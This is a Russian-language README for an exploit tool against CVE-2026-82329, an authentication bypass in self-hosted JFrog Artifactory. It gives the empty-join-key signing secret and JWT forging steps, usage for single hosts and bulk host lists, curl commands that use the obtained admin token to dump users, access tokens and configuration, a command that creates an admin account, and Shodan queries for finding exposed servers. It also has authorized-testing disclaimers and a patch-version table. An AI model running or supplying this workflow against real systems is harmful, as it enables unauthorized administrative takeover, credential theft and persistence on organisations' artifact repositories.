
Эксплойт для CVE-2026-82329 — неаутентифицированный обход аутентификации в self-hosted JFrog Artifactory, позволяющий захватить токен администратора через пустой join key.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (self-hosted) неаутентифицированный join-JWT
→ SERVICE admin токен → платформенный applied-permissions/admin access-токен.
CVSS 9.8 · CWE-287 · CISA KEV · эксплуатируется в дикой природе.
Только авторизованное тестирование. Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.
Установки self-hosted по умолчанию доверяют пустому join-ключу.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Cloud-hosted JFrog пропатчен. Только self-hosted.
Строка исправления Access: 7.191.14.
# только stdlib — без pip
python3 artifactory.py -h
Проверка TLS отключена по умолчанию (самоподписанный Artifactory — это норма).
Дополнительных флагов нет.
# одиночный хост
python3 artifactory.py -u https://artifactory.example.internal:8082
# вывести сгенерированный admin-токен
python3 artifactory.py -u https://TARGET:8082 --token
# список / конвейер (стиль httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# только Pro / Enterprise — создать локального администратора (разрушающее)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
| Тег |
|---|
--token выводит значение Bearer. Это и есть захват — пользователь для входа не обязателен.
--create-admin часто возвращает 400 на OSS (PUT /artifactory/api/security/users — это Pro).
Admin-токен всё равно работает. Постоянство не требуется для валидной находки.
Замените TARGET и вставьте токен из --token.
TOKEN='eyJ...' # вывод --token
B='https://TARGET:8082'
# версия / редакция
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# каталог пользователей (администратор)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# все access-токены на инстансе
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# инвентаризация репозиториев
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Другие полезные операции чтения только для администратора (не записывайте без авторизации):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: Platform → вход с Access Token, или отправляйте
Authorization: Bearer <token> с каждым запросом.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Ошибка 400 по политике паролей ≠ не уязвимо. Токен уже имеет aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# распространённые порты
8081 8082 8040 8046 443
Инструмент удаляет /artifactory /ui /webapp из -u и обращается к роутеру Access на том же origin.
--create-admin — это не находкаОписывайте воздействие как: неаутентифицированный токен администратора платформы.
Создание пользователя — это последующее действие, а не корневая проблема.
Этот репозиторий — валидатор для систем, которые вы уполномочены тестировать.
Создание токенов, перечисление пользователей или создание учётных записей на сторонней инфраструктуре без разрешения незаконно.
Патч: обновитесь до исправленной сборки для вашей ветки, задайте реальный join-ключ, отзовите токены, созданные после раскрытия.
mitsec · @ynsmroztas
| Шаг | Запрос | Результат |
|---|
| 1 | Подделка HS256 join JWT (iat свежий, skip_node_registration=true) | известный HMAC-секрет |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE токен scp=admin |
| 3 | POST /access/api/v1/tokens | 200 admin-токен scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | доказательство прав администратора (без аутентификации = 401) |
| Ветка | Уязвимая ≤ | Исправленная |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
| Значение |
|---|
VULN | Пустой join принят + доказательство прав администратора (configuration или список токенов = 200) |
SAFE | Join отклонён — пропатчено, заданы дополнительные join-ключи или это не Access |
INFO | Join сгенерирован, конечные точки доказательства не вернули 200 — проверьте вручную |
FAIL | Сеть / таймаут |
| Поверхность | OSS | Pro / Enterprise |
|---|
| Создание admin access-токена | да | да |
| Чтение конфигурации / списка токенов / репозиториев | да | да |
PUT /artifactory/api/security/users | 400 только Pro | 200/201 |
POST /access/api/v2/users | зависит от версии / политики | 201 |